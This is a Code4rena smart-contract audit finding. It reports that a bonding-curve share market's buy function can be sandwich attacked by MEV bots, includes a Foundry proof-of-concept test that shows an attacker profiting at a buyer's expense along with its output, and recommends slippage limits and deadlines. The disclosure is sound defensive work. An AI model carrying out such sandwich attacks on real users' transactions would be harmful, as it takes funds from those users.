Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 106/120
Findings: 1
Award: $1.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
Every buy actions can be sandwich attacked, attackers make profit which is generated from share buyers paying more than they should do. This is even more serious with using LinearBondingCurve where price impact is high as buy actions happen.
The price of a share increases as buyers purchase shares, while the price to sell a share is same as buying last share. This logic/feature includes a vunerability when there are buy transactions in mempool, a MEV attacker will overlap the transaction with their buy and sell actions before and after the original transaction, which generates profits for the attacker while making loss for the share buyer.
Here's a testcase for PoC:
function testSandwich() public { uint256 shareId = 1; uint256 purchaseCount = 3; uint256 price; uint256 fee; // Supply token for alice and bob token.transfer(alice, 1e20); token.transfer(bob, 1e20); // Allow tokens for market vm.prank(alice); token.approve(address(market), type(uint256).max); vm.prank(bob); token.approve(address(market), type(uint256).max); vm.stopPrank(); // Expected price for alice to buy 3 shares (price, fee) = bondingCurve.getPriceAndFee(1, purchaseCount); uint256 expectedPrice = price + fee; uint256 bobPrevBal = token.balanceOf(bob); uint256 alicePrevBal = token.balanceOf(alice); // Bob - sandwich buy vm.prank(bob); market.buy(shareId, purchaseCount); // Alice - buy vm.prank(alice); market.buy(shareId, purchaseCount); // Bob - sandwich sell vm.prank(bob); market.sell(shareId, purchaseCount); vm.stopPrank(); uint256 bobCurrBal = token.balanceOf(bob); uint256 aliceCurrBal = token.balanceOf(alice); // Log values console2.logUint(alicePrevBal); console2.logUint(aliceCurrBal); console2.logUint(bobPrevBal); console2.logUint(bobCurrBal); assertLt(aliceCurrBal, alicePrevBal - expectedPrice); assertGt(bobCurrBal, bobPrevBal); }
Result of running the test:
Running 1 test for src/test/AuditTest.t.sol:AuditTest [PASS] testSandwich() (gas: 388464) Logs: 100000000000000000000 99984250000000000000 100000000000000000000 100008021250000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual Review
buy
function should include maxAmount
that defines max amount of tokens users pay for purchasing shares.
Some other recommendations would be adding minAmount
in sell
function even though there's no incentive for sandwiching sell, also adding deadlines for buying and sell would also be good practices.
MEV
#0 - c4-pre-sort
2023-11-18T09:57:31Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:27:39Z
MarioPoneder marked the issue as satisfactory